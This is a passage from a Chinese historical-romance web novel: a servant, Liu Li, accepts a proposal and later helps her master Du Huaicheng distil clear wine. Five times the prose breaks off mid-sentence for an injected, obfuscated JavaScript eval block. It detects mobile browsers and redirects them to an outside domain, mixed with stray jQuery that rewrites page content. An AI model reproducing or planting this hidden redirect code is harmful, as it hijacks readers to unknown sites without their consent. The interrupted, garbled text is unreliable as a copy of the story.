“我不要你报恩。”伍子骥有些急切，“我并非挟恩图报，实在是心悦于你。”他双手包住刘梨的，近乎虔诚道：“若一开始只是怜惜，后来得知你自愿卖身回报刘家，伍某深感姑娘大义，也越发笃定了自己的心意，只伍某家世单薄，一直未敢表述情意，如今只想得你一句话，你可会，对我也有一丝爱意？” 他眼里带着小心，又期待又害怕她将要说出口的话。 刘梨心中酸涩，几度凝噎不能出声，“我在‘这里’过得不如意，老天爷垂怜，有幸能见到先生。”顿了顿，轻声道：“觉得苦的时候想想你，心里能高兴些。” 女孩羞红了脸庞，再说不出别的话语，雨丝风片将她浸润地花一般娇美。这是他爱慕的姑娘，闻她亦有情意，伍子骥忍不住怜惜欢喜，双臂舒展，便将刘梨揽入怀中。 细密的雨滴落到蕉叶上，蚕食着二人的意乱情长。石阶凹处溅起一朵水花儿，心仿佛也随着那朵水花荡漾开去，激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021153|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起层层涟漪。不知哪里飞来一片黄叶在半空打了个旋，缓缓落在青石上，为这幅水墨画卷增了一抹亮色。 “过些时日，我找个机缘登门向刘家求娶。” “怎得这么快？”刘梨惊愕不已。 “不快，我一刻都等不得了，若不是还有事务缠身，我恨不得现在就去。”他满怀的欣喜。 “我卖到府里，还能自家决定婚配？” 伍子骥哑然失笑，“你只说，愿不愿意嫁我？” 愿不愿意？这个男人这样好，给了她所有的温柔善待，自然是欢喜的，然而，这便将承诺许出么？刘梨略沉吟，提出那个思量长久的疑问：“先生从未问我的过去，我这样来路不明的女人，先生当真愿意求娶吗？” 伍子骥低下头，“梨儿，你看着我。”那双眼脉脉含情，溢满爱意，“我不在乎你过去怎样，现在，将来，只要你在我的世界里就好。” “先生……” “还叫我先生？我想听你叫我的名字。” “子、子骥。”刘梨怯生生喊到。 他心里满满当当，“现在告诉我，你可愿嫁我？” 刘梨点点头，他并不知足，步步紧逼，“说出来。” “我愿意。” “愿意什么？” “我愿意嫁给伍子骥为妻。”香靥凝羞，眉目如醉。 再次将她揉入怀里，“我会向大奶奶求情，求她放你出府，大奶奶心慈，必能遂我心愿；即便她舍不得放人，我也不会放弃，大不了多出赎身银子，再不许，我就跪到她东苑门口，跪到她答应为止。” 刘梨笑他痴傻，伍子骥得偿所愿，由着她笑话，二人一时难舍难分。无奈骤雨初歇，分别在即。 “就送到这儿吧，我不愿你看我登车远去。” 她点点头，“送君千里终须别，愿君在外一路安好。” 伍子骥依依不舍上路，空山新雨后，格外清新怡人。回头望，姑娘身影窈窕，立在碧色蕉荫下，好一幅蕉荫仕女图。他忍不住朝着心爱女子喊道：“梨儿，你可得等着我！” 难得见伍先生冒傻气，刘梨含笑朝他挥挥手，“我等你。” 28. 二十八 晴雨无常 料场上已收拾妥当，刘梨的松针也被晾在了檐下，一簇簇针尖凝着水珠，莹润可爱。 “刘姑娘放心吧，没淋着雨，天色一变我就给你收了。” “谢谢大林哥。”得了谢的大林咧开嘴，刚想上前说话，一把被人拽了个趔趄。 “刘梨，坊主找你，这就过去。”刘梨应声而去。 大林看着人走远，好不容易搭讪的机会丢了，冲坏事的易全道：“都说你全哥机敏，我看你是没点眼力见，没瞧我和刘姑娘聊着吗？” 易全拍拍他脑门，“大林啊，哥哥帮你呢。你小子什么心思我不知道？平时没少献殷勤，人家理你了吗？” “没理我也没理别人啊，我瞧她对我挺客气的。待俺循序渐进，慢慢缠磨，总有一天水滴石穿、水到渠成。”大林眉飞色舞，一副志在必得的样子。 易全冷笑，“学两个新词还给我拽上文了，我劝你早歇了这份心，那丫头不是你肖想的。”大林并非愚钝，听易全的话似乎别有深意，想着他常在东家、坊主跟前行走，怕是瞧出些什么，要再打听，易全冷着脸忙自己的去了。 廊下水铫子噗噗冒着热气，蒸汽不耐烦地将壶盖顶了起来。刘梨忙拿巾子裹住提梁，提着茶壶进屋。堂内周坊主正埋首书案，刘梨不作声，往他茶碗里兑了些热茶。 周坊主眼皮撩了撩，写完最后一字，搁下笔，“在坊里待的可习惯？” “蒙坊主照拂，刘梨适应的很好。” 端起茶碗，周坊主看看侍立的女子，脸色红润，不似初见时的委顿，想来是好的。“东家要在西岭长住，从今儿起，你去草庐伺候。” 刘梨刚才一路猜测坊主找自己何事，听言立马回复道：“还请坊主委派别人，刘梨愚钝，伺候不了东家。” 往常东家在坊里住，并不特意另找人服侍，方才程锏来过，要他安排个“会做事”、“懂规矩”的丫鬟。会做事的倒是能挑出几个，可论懂宅门里伺候主子们的规矩，也就从府里出来的刘梨了。“刘梨那丫头倒是堪用，但她之前犯了错被赶出来的，到主子跟前怕爷们不喜。”程锏万年不变的脸色，说道：“事急从权，就她吧。” 撇了撇茶叶，周坊主对刘梨道：“这事由不得你我，配料房那儿我自会安排，别的你一概不用管，以后就在六尘草庐听差遣吧。” 当初约法三章不许靠近的草庐，如今倒是对她敞开大门。这会草庐里静悄悄的，没一点声息，想来无人。 石阶上落了些竹叶，洇了雨水沾在青石板上，斑驳一片。角落里一柄大笤帚，刘梨抡起来就扫，落叶卷着泥水飞溅，多少有点发泄的意味。 “你在山上吃了什么，怎养了这一身蛮力？” 刘梨“啊”的一声扔了笤帚，“程锏！你做什么吓唬我？！” “你这丫头恶人先告状，扫个地溅我一身的泥点子，我还没说什么，你倒先嚷嚷起来。”刘梨抚抚心口，看他衣摆下面确实沾上不少泥点。“幸好是深色的衣裳，脱下来我给你洗洗，只是以后别这么悄么声地吓人了。” 程锏轻巧避开她，“刘姑娘是来伺候二爷的，我可不敢劳动你。” “我瞧你和杜二爷亲如兄弟，给你洗件衣裳值不当什么。”更何况还是她弄脏的。 程锏掸掸下摆，“我虽脱了奴籍，还当恪守本分，二爷待下亲厚，我却不能张狂僭越。” “脱了奴籍……”看程锏要走，刘梨忙跟上，小心问道：“程大哥，你是怎么脱的籍？” 程锏步履不停，“自是主子高兴，赏的恩典。”说着进了自己那屋。 刘梨撑着笤帚立在他门外，还想细问，又怕问得紧了程锏生疑，转口道：“程大哥，你把外裳脱下来，我给你洗洗。”里面没动静。 “你脱下来啊。” “脱什么？”身后冷不丁响起声音，刘梨撒开笤帚，紧紧抚着心口，这主仆二人都是猫转世吗？走路一点声响没有！ 杜淮琤长身而立，居高临下盯着刘梨，大有她不解释不罢休的意思。“脱外裳，我给程大哥洗洗。”刘梨喏喏道。 恰好程锏打开门，手里是刚换下的外裳，上面赫然几个泥印。 杜淮琤突然觉得心情不悦，“那么爱洗东西，一并将我的寝具洗了。” “坊里清苦，拢共这一套新寝具，前几日刚换的，况且这两日阴晴不定，洗了怕是不能及时干。”后面的话越说越小声，刘梨恨自己没出息，对着杜淮琤总是有难以名状的惧怕。他只消一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021154|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，就让她没了底气。 这女人明明刚才和程锏还神色自若，面对自己总是低着头。杜淮琤以为崖壁一叙两人该熟络些，可她仍一副拒人千里之外的态度，不得有些气闷，连带看程锏也不顺眼了。“哼”了一声大步朝外走，程锏莫名其妙被瞪了一眼，胡乱把衣裳往门后一塞，急急跟上。 果然没干透。 这当主子的就是肆意折腾人，刘梨依吩咐拆洗被褥，晾到晚上还是微有湿意。翻出冬日用的熏笼，找易全寻摸来少许银炭，打算一点点地将寝被烘干。 山间夜里湿冷，这点子炭熏蒸出一个煦暖的空间。炭火忽明忽暗，蛊惑人往那梦乡里去。刘梨今儿起得早，整日没怎么歇息，这会子倚着熏笼，眼皮就有点打架。朦胧间好像伍子骥就在身边，舍不得醒来。 女子抱着他的被褥，脸上带着迷蒙满足的笑。红唇潋滟，蛊惑人心。杜淮琤鬼使神差地靠近，用双眼描摹她的每一寸。 他少时也算个纨绔，场面上应酬，少不得流连秦楼楚馆处。见多了红男绿女，总是差不多的虚与委蛇，心底早生了厌倦。杜淮琤对兄长杜淮琮向来有孺慕之情，他憧憬兄嫂的琴瑟和鸣，少时也暗暗向往那样的一生一世一双人，终是被身份所累，掌家后也就歇了心思。以为内心不会再起波澜，看遍吴王苑内花，还未有哪个女子让他这般心意散乱过。 她一定是给他下了蛊，用她的天真无辜，用她的倔强隐忍，给他下了蛊。偏不许自己陷进去，这女人有太多的谜团，他看不明、辨不清，他不容自己懈怠，化在温柔乡里。偏又暗示程锏将她找来，缚在身边，给自己的理由是探她虚实。他做事何曾找过借口？杜淮琤，你变得连自己都看不懂了。 女子嘤咛一声，转醒过来。书案上一盏油灯，映着杜淮琤半张脸，眉若墨画，鬓如刀裁，双眼看着书卷，头也不抬道：“醒了？” “是，不小心盹着了。”刘梨忙坐正了答道。 杜淮琤没再言语，余光看到她把他的被面贴在脸颊试了试，耳朵忽然就泛了红。灯火晦暗，还好没旁人发现。 刘梨铺好了床，回头看他还捧着那卷书坐着，姿势不变，行过礼退下。房里一丝若有似无的广藿香气，随着她离去渐渐冷了下来。 29. 二十九 和衷共济 杜淮琤算不上难伺候，刘梨日常不过是在草庐做些茶水、洒扫的活计，他并非修齐那样的孩子事无巨细都要人替他打点。杜淮琤有要求会明确直说，比如不要碰他的书案、不要翻动书架、不要进左厢房……这般需求清晰、责任明确的领导让刘梨直呼省心。干完活就远远躲着，不在他跟前晃悠。杜淮琤也确实忙，朝出晚来，有时吃饭都顾不上。饭食是大厨房一起做的，与大家伙同样，颇有点和衷共济的意思。就是经常忙的赶不上饭点，这会刘梨在檐下守着小茶炉，隔水温着午饭。 山风拂过竹林，激起绿色的波涛，她想起刘家的那片麦地，也是这样翻滚涌动直到天际。慢慢地麦浪变得金黄，将天地映成一色，置身麦田中央，天高地阔，仿佛能随时振臂飞去。 “来人。” 屋里有动静，刘梨忙收回心神，将饭食端进去，垂首敛目，非礼勿视。 刚才看她在外面发愣，一脸神往不知动了什么心思，这会到跟前反拘谨起来。杜淮琤莫名着恼。 刘梨先奉上热帕子，然后将餐盘一一摆上。午食是一道蒸鱼，一碗什锦汤，还有一盘蒜蓉时蔬。待杜淮琤擦过手，接回帕子，再将筷子双手呈上。 “刚刚发什么呆？”没忍住还是问出口。 她惊疑抬眼，很快低下，“没什么，晌午有点迷盹罢了。”这几日时不时想到程锏脱籍的事，若是把这位爷哄好了，说不定也能给自己赏个恩典。暗暗睨了一眼杜淮琤，虽不自在，仍试着劝服自己讨好于他。 撇去油花，先盛了碗汤。“二爷久未进食，先喝碗热汤润润脾胃。”顺手拿起公筷将蒜蓉时蔬拌匀。 “我不吃蒜。” “啊？”不早说。“那我给您把蒜挑出来。”早知道不拌这么匀实了。 “还有蒸鱼的葱姜，也挑出来。”他乐得支使她。 小丫鬟低着头，将盘子里的葱花一粒粒夹出来。全神贯注，仿佛那是件顶重要的大事。早发现她不擅梳妆，总是一个简单包髻，一缕发丝垂在耳后，贴着细白的颈子，泛着柔和的光。 鬼使神差想到上次碰触她的手感，指下的肌肤温润细腻，锁骨间微微的丘壑，是绵软的流沙，让人不得不沉溺其中。心猿意马间，女子抬起头，杜淮琤狼狈收回视线，心底对自己的登徒子行径很有些不齿。年少时浪迹江湖，各般女子见过不少，或妖娆娇媚，或清尘脱俗，如林苑中春花一样，令他赞叹欣赏，却没有采撷的意图。他以为兄嫂那样的伉俪情深世间罕有，得遇心心相印的女子，是上天对病骨支离的兄长唯一的仁慈。情缘于他，得之我幸，失之我命。 刘梨换过茶，斟酌道：“二爷刚用过饭不妨先走动走动，您长久伏案气血凝滞，散一散助于疏通运行。” “你这妮子，难得这么贴心，别是有求于我？” 刘梨被他戳中心思，忙掩饰道：“是坊主说东家近来辛苦，嘱托我悉心伺候，婢子尽分内事罢了，不敢妄想旁的。” “既如此，过来帮我按按。”耸了耸肩颈，咔嗒作响。 他的肩背宽厚，双手抚上，即刻感受到衣裳下健壮饱满的男子身躯。杜淮琤身子一僵，任那双柔荑在脊背上揉按许久，才慢慢松弛下来。 “倒还有些手艺。”他的嗓音有点干。 “家中外祖母肩颈不好，常找医师艾灸推拿，我在一旁看得多了，慢慢也就学会了。”察觉到他紧绷的身体放松，刘梨接着道：“我手劲儿大，连医馆的老医师都夸我做的好。外祖母说，多一门手艺以后就不怕没饭吃，她走也放心了。” 杜淮琤嘴角微抿，难得听她话这么多，问道：“你还真饿过肚子不成？” “饿过啊。那会身上钱全交了杂费，打零工的钱又被拖着不给，无钱坐车，一个人哭了一路。”杜淮琤心里一窒，听她继续道：“还好只饿了两天，学堂里的师长帮了不少，工钱朋友也帮我要回来了。”想到依菲姐帮她吵架的凶恶模样，刘梨脸上露出了笑。 她说得云淡风轻，经年往事如今已激不起内心波澜。 按到一处团块，“忍一忍，这里可能会疼。”杜淮琤心底笑笑，点了点头。 “二爷长期伏案，肩背上的气脉郁结不通，长此以往难免落下病来。我现在帮您疏通疏通，今晚睡觉可能会有些酸疼，明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021155|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日便松快了。” “不会了。”他喃喃道。 “嗯？”刘梨停住手。 他背对她，看不见脸上神情。“以后你就在爷身边伺候，杜家饿不着你。” 我不要。 不要困囿在宅门里，不要一辈子小心谨慎看主子眼色行事，一朝行差踏错就被无声无息发卖了。 她要简静岁月、恬淡安好，要家人安康、阖家圆满。 听不到回应，杜淮琤微微侧身。看她神色惘然，并没有预期的欣喜或羞涩。他以为她会懂，会欢欣鼓舞地跪拜谢恩。不，以她的机敏，应该是懂了，说出口的“以后”、“在身边”，原来非她所愿，这让自己俨然成了笑话。 “二爷，我想求您……” “行了，下去吧。刚才不是困得打盹儿吗？找个地方猫着去，别在我跟前现眼！”杜淮琤出声打断，似乎怕她会说出什么令他不安的话。 这人阴晴不定的，刚才看他脸色缓和，刘梨几乎脱口而出求他放她脱籍。不料一通抢白被堵了回来，只得收拾残馔退了出去。 迎面遇上程锏带着大林求见。“二爷，窖池那边使了人来。滤出的酒……还是不太行。” 屋里传来瓷器碎裂声，上好的松石绿葵口杯毁了。 杜淮琤阴沉着一张脸出来。程锏一向处变不惊面无异色，身边的大林被东家的气势吓得惶惶然，慌忙耷拉下脑袋。 杜淮琤走过刘梨身边，冷冷丢下一句：“收拾干净。” “是。” 说什么和衷共济、勠力同心？主子便是主子，心情好待你几分好颜色，一着恼喊打喊杀也是有的。即使自诩“文明”的现代社会，也做不到众生平等，何况这等级分明的旧王朝？刘梨向来明白“木分花梨紫檀，人分三六九等”的道理，世间多的是她这样的“牛马”汲汲营营，困苦一生。 心里虽不屑“尊卑有别”的等级制度，也敬佩“王侯将相宁有种乎”的振臂一呼，刘梨却不信所有人可以平等地享有这个世界的权利和财富。她渴盼独立和尊重，但身处困顿不得不臣服于现实，只能勉力在夹缝中给自己留一缕清明。 30. 三十 松风蟹眼 茶水漫过书案，将字迹洇晕成一团，刘梨看了一眼，依稀认出“澄清”、“筛酒”几字。 碎掉的杯子挖个深坑埋了，刘梨回到自己屋里，把身子紧紧缩成一团。窗外竹影映在帐上，像一扇流动的水墨屏风。 杜淮琤的话，她隐隐猜到一点意思。不管是什么原因，好奇也好，戏弄也罢，他一定是将她当成个新鲜的玩件想扣在身边，高兴了给个笑脸，不高兴了……她抚上自己的脖子，那种窒息森冷的感觉还能想起。她仿佛是一尾鱼，搁浅在岸，奋力张合嘴却呼吸不到一丁点空气。 此刻她无比想念伍子骥，想念那个安心的怀抱，想他带她出府，想回到刘家，想欢欢喜喜地成为他的妻。 “不，我不能把所有的期盼都推给子骥。”她要和他分担压力，她要寻求他们的出路，即使要掩藏内心与虎谋皮，她也要挣一挣！ 鸡鸣唱晓，烛泪慢消。刘梨取了件大氅轻轻披在杜淮琤身上，盖上砚盒，撤去烛台。 程锏刚要进屋，被她一个眼神制止。二人退到茶房，刘梨才小声道：“怕是一夜未眠，让他多睡会。” “老这么熬着也不是个办法。什么劳什子的新酒，也值当二爷这么费心费力。”程锏抱怨道。 刘梨熟练地拿小茶炉烧水，“杜家白猿酿不是素有盛名，二爷何故再研制什么新酒？” “白猿酿虽好，近些年外头却出现不少仿品。味道比咱们的差一些，胜在价钱低廉，撬了杜家酒坊不少生意。” 松风蟹眼新汤，刘梨给程锏泡了一盏茶，“那咱们能不能也降些价格出售，把那些仿酒先淘汰掉，再慢慢恢复原价？” “二爷起先也这么做的，可咱们降，那些仿酒也降。杜家酒用料实诚，断不肯下调品质来降低价格，所以价格总低不过仿酒去。何况，官府逐年提高青苗税，粮食价涨，制酒的成本是一年比一年高，降价售卖终不是长久之计。”这茶真香，程锏忍不住多坐了一会，话也较往常多了些。 刘梨点点头，难怪杜淮琤要推陈出新。又是仿酒又是官府，前有狼后有虎，纵是酿酒世家，杜家也不能安于现状固步自封。 “杜家以往的荣光是前人挣下的，二爷这么拼，是想做他自己的酒，能延续杜家赫赫声誉的酒。”程锏一脸神往，满腔都是对杜淮琤的赞赏。 刘梨还待问下去，程锏耳力好，听到正房有动静，立刻进去回事。许久工夫，听到他离开，刘梨才捧着餐盘进来。 “二爷这几日总熬夜，我熬了三黑三红粥给您补补。”说着盛出一碗。 “三黑三红？”杜淮琤看着浓黑的粥发问。 刘梨轻轻嗯了一声，解释道：“黑豆、黑米、黑芝麻，红豆、红枣、红衣花生，卖相是差了点，但都是补气安神、心肾同调的好东西，请二爷尝尝。” 杜淮琤搅了搅粥碗，入口细腻绵绸，尝得出是花了一番工夫的。 “方才你和程锏聊什么？” “没什么，感慨二爷熬得辛苦，属下们却不能为您分忧。” “你这冷冰冰的犟种，什么时候竟也学了溜须拍马的本事，说出这等酸话来？”杜淮琤捏着汤匙，含笑睨了刘梨一眼。不得不承认杜淮琤是好看的，不单是五官生的好，累世豪富教养出的贵气，是一般的商贾人家教化不出来的。 “二爷想酿什么样的新酒？” “这个程锏，嘴巴松得跟棉裤腰似的。” 杜淮琤这话讲的糙，刘梨忍不住掩嘴而笑，“程锏也是担心您，忍不住和我多聊了两句，二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021156|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷千万别责怪他。” 杜淮琤看她清丽生动的一张脸，觉得程锏这声骂挨的挺值。“我想酿更醇香的酒。从酒曲开始，我就调整了配料、比例，再到原料的配比、发酵，全做了改进。我有信心，这酒的味道定能胜过往常。” “那为何没有成功？” “不算没有成功……”他迟疑了一下，“确实如我料想的增加了风味和层次感，但是，也多了些杂味，酒体也不够干净。即使用漉酒巾多次筛滤，还是不成。” 刘梨听不太懂，只答道：“东家睿智灵慧，一定能想到解决的法子，得偿所愿。” 杜淮琤苦笑，这妮子的刻意讨好明显地很，也不拆穿，“承你吉言。” 刘梨将茶具一一清洗收好，发现多了个白瓷瓶子。凑到鼻尖闻了闻，淡淡的酒味——应当是程锏遗忘在此处的。刚想收好，心念一动。 找出一只甜白瓷盏，缓缓注入酒液。浓稠的液体泛着青褐色，顶层飘着微微的浮沫，果真是绿蚁新醅。她用手指点了一点蘸在舌上，浓郁的酒香带着淡淡的酸弥漫开来，尚在回味中，口腔又被明显的粮食味道占据，嘴里像开了场堂会，嘈杂一片。 “这哪算没有成功？”明明就是失败了，杜淮琤这个嘴硬好面子的家伙！ 刘梨漱过口，嘴里的酒味还没散去，这会杂味没了，留下的味道倒更显绵长。“回味甘醇，余味倒是挺好。”如果能帮杜淮琤改进酿酒技艺，他会不会恩赏允我脱籍？这样就不必伍子骥那么辛苦地去筹谋，她也能早日脱离杜府，恢复自由身。 心里的念头一旦升腾起来，再也抑制不住地激动。刘梨在小茶房里踱来踱去，思忖怎么向杜淮琤讲述才不至于太惊世骇俗。决心已下，不再迟疑，往酒坊里寻杜淮琤去。 31. 三十一 蒸室之忌 蒸室。 杜淮琤亲自挥着板锄，和工匠们一起，将成堆的杂粮混合拌匀。蒸熟的高粱米粘稠成团，需人力将其打散，才好均匀受热。再冷却至适当温度，拌入曲粉，才能进入发酵池发酵酿制。因要保持适当的温度，不能大开门窗，故而蒸室里格外闷热。 刘梨满怀心事，不妨半路被人叫住。“哟，到底是刘姑娘矜贵，叫了你好几声都没答应。” “大林哥，我刚才走神没听见，刘梨还有差事在身，先行告辞。”说完绕过他便走。 大林在酒坊大小也是个头目，这丫头一向不敬他，自己的巴结讨好全被兄弟们看了笑话，心里窝火，只面上不显，侧身一挡，“慌慌张张，干嘛去？” “我找东家有要事。”刘梨不耐烦和他纠缠。 大林何尝看不出来，心里冷笑，“既是找东家，我知道他在哪，跟我走，我认识条近路，带你抄过去。” 刘梨一时不好理由拒绝，只得道过谢，跟着大林七拐八绕到一房舍后堂。 “进去吧，东家就在里面。” 掀起厚重的布帘，浓郁的米粮味扑面而来，这气味过于厚重，凝滞在闷热的室内，仿佛形成一团看不清的雾瘴，当有人掀开一线出口，它立刻奔袭过来，几乎能将人掀倒。 刚从明亮的室外进到室内，刘梨眼前一片昏黑。待眼睛的不适舒缓过去，目光所及之处让她大吃一惊！ 这儿仿佛一个蚁穴，一眼看不见尽头。隔着蒸腾的热气，见近前地上垒着一格格方形的灶台，灶台下柴火正旺，燃烟从隐藏烟道延伸至墙壁的烟囱，排出室外。灶台砌得很高，特制的锅里堆满混合好的杂粮。迷蒙中，只见二三十个伙计，两人一组，面对面守着大蒸灶，肌肉贲张，费力将里面的粮食翻搅摊匀。 这儿是周坊主给她划的“禁地”，蒸室。 酒坊里的房舍经几代人改建，密密匝匝，她只认得蒸室正门，素来知晓绕开的。今天不料被大林从后门领了进来，来不及细想他是否有意为之。趁着暂时无人发现，刘梨打算马上原路退回去。 杜淮琤干至正酣，对面的伙计突然停了下来，疑惑间，看伙计眼神直勾勾地盯着他身后，发觉不妙，转过身来，立刻怒冲云霄！其他人也发觉到异常，前一刻还嘈杂万分的蒸室忽然被摁了静音键。众人神情各异，有迷惑的，有谐谑的，更多的是准备看好戏的。 目光齐齐射来，刘梨窘得恨不得找个地缝钻进去，一个人影忽然罩下来，下一秒乾坤颠倒，来不及反应，就被扛到室外。脚一着地，才缓过气来，脸蛋依然憋得通红。 “你可知蒸室为何被列为禁地？” 刘梨抬眼，迅速低下头去，“现在知道了。” 外头风一吹，将里面带出的焦灼之气吹淡了一些。凉风掠过杜淮琤露在外的肌肤，虽说消散了些许暑气，却没吹散心里的郁气。 他并未像里面其他男人那样只着一条短裤，大概是顾忌到身份体面，只是将上衣褪至腰间，露出半副精壮身体。不是养尊处优的孱弱身躯，也没有富贵闲人的大腹便便。他的身体就像一头小兽，肌理均匀，充满张力。蜜色的皮肤上微微渗出汗水，一缕汗湿的黑发紧贴胸口，随着呼吸上下起伏，浑身肌肉紧绷，可见主人正压抑着心里的怒气。 “你最好有合理的解释，不然我真可能会毁了你！” 刘梨抚住胸口，命自己赶紧平复下来。杜淮琤夹着怒火俯视她，这丫头冒冒失失地闯入一堆男人中间，能看的不能看的全瞧了个精光，若不是、若不是，真想一巴掌拍死她。 “酒！我想到了把浊酒变清澈的办法！” 杜淮琤轻哼，不置可否。 “蒸腾。”为了身契，刘梨继续道。 双手交叉置于胸前，杜淮琤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021157|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷冷道：“说下去。” “把酒浆加热，产生的蒸汽经冷却后凝结成的‘露水’汇集起来，就可以得到澄净的酒水。” 杜淮琤还是寒着脸，脸上写满怀疑。 刘梨看他不信，急道：“就像我给你煮的三黑三红粥，不管放什么颜色的食材，不管熬出的粥或红或黑，锅盖内的蒸汽水永远都是清澈透亮的。” “就像……”杜二爷启口，“烹茶。” 好吧，跟杜二爷打比方也得用风光霁月的例子。 “走！”只消一瞬，杜淮琤就想通了其中关联。 “去哪？”刘梨呆住不动。 杜淮琤返回身，牵起她的手，“去草庐，用你的法子，蒸酒！” 他大步在前，刘梨勉强跟上。杜淮琤的手纤长有力，掌心薄茧缠磨着她，刘梨挣了两次挣不开，只得由他攥着。沿途不时有人投来探究的目光，又识趣地低下头去。 两人回了草庐，杜淮琤打开左厢房，站在门边吩咐道；“去把小茶炉拿进来。” “二爷不妨先擦洗擦洗，也好舒坦些。” 杜淮琤这才想起他还打着赤膊，和平日端方君子的仪态大相径庭。抬眼看小丫鬟低眉垂眼，不知因为走得急还是什么原因，脸颊红扑扑的，不由靠近道：“你是想让我舒坦，还是让自个自在？”刘梨抬头，不期然撞见他眼中的戏谑。这家伙，端的是得意自家那身好皮囊，这会赤着上身，坦荡荡向她展现自己，神态恣意张扬。 刘梨见不惯他张狂的样子，忍不住道：“自然是希望二爷舒坦。刚才那些爷们中，就二爷顶白皙，您身份贵重，自是要时刻保持仪容整肃。”她是承认刚才都看到了！拿爷和那帮糙老爷们比，哼，“白皙”，爷是妇人不成？ 刘梨不给他发作的机会，说了声“备水去”，就溜了个没影。杜淮琤银牙咬碎，抓不到人也莫可奈何。 32. 三十二 承取酒露 “二爷，茶炉生好了。” “进来。” 刘梨拎着茶炉进了左厢房。这间房和正堂差不多大小，墙角几个大酒瓮，靠墙的酒柜上也摆满了形态各异的酒坛，贴着封条，备注了名称和时间。房里也设有一排书架，放满了集册，不像是书局版印的部作，倒像是自己装订的笔录日志之类。 按吩咐把茶炉放到房间中央的大桌上，就要告退。 “哪儿去？”杜淮琤摊开纸笔。 “这间房长年锁着，想是要紧所在，婢子留着，恐多有不便。” “故作恭顺”，杜淮琤乜了她一眼，“蒸煮之法还要听听你的意见，就在此伺候吧。”刚沐浴过，头发还带着湿意，杜淮琤松松束着发，此刻显得随和了一些。 刘梨手指在袖底搅了又搅，现在不说，以后怕是没有这样的机会！她舔了舔嘴唇，大着胆说道：“奴婢这法子若是成了，二爷能赏我个恩典吗？” 杜淮琤在纸上写下时间，准备记一份实录，闻言放下笔，答道：“真是越发刁钻了，成不成还不知道就讨赏。”看她欲言又止的窘迫样，叹道：“好，我答应你，想要什么？” 刘梨忍不住喜意，“二爷答应就成，要什么我想好了再跟您说，可不许反悔！” “君子一诺千金。”他坐直了身子，郑重道。 “那您立个契据。”可得落实了。 杜淮琤气极反笑，“爷还诓你个小女子不成！”刚要吩咐笔墨，想了想，从书架上抽出个“万字不到头”小锦盒。盒子里一件玉饰，通体莹润，刘梨尚不及细看，就被他套上了脖子。 “给你个信物，贴身戴好咯。以后想好要什么，凭此信物来兑现。” 那玉上还留着他的温度，是一只兽首印纽。俏色雕的玉饰，上面黄色部分雕成兽首，往下玉石渐绿，琢成印章形制，底部凹凸不平，不知道是不是刻了字。 刘梨惶惑不安，这么贵重的东西，戴在身上可是个负担，摩挲着要不要取下。“别摸了，千万戴好，弄丢了唯你是问。快和我试试你那蒸煮之法，看爷赏的这个玉亏不亏。” 架好铫子，倒入新酒。炭火忽明忽暗，不一会儿酒浆就蒸腾起来。杜淮琤刚要开口，刘梨已递来一只白瓷敞口碗。他小心将液滴滴入碗中，反复几次，铫子里的酒浆几乎熬干，才得浅浅一碗底。 炭火熄灭，生出袅袅一缕炉烟。杜淮琤凝视手里小半碗液体，净澈透明，这清水一般的，还能是酒吗？他举起碗，凑近闻了闻，再浅抿一口。 刘梨紧张盯着他每个动作，“怎么样？成了吗？” 杜淮琤只不语。 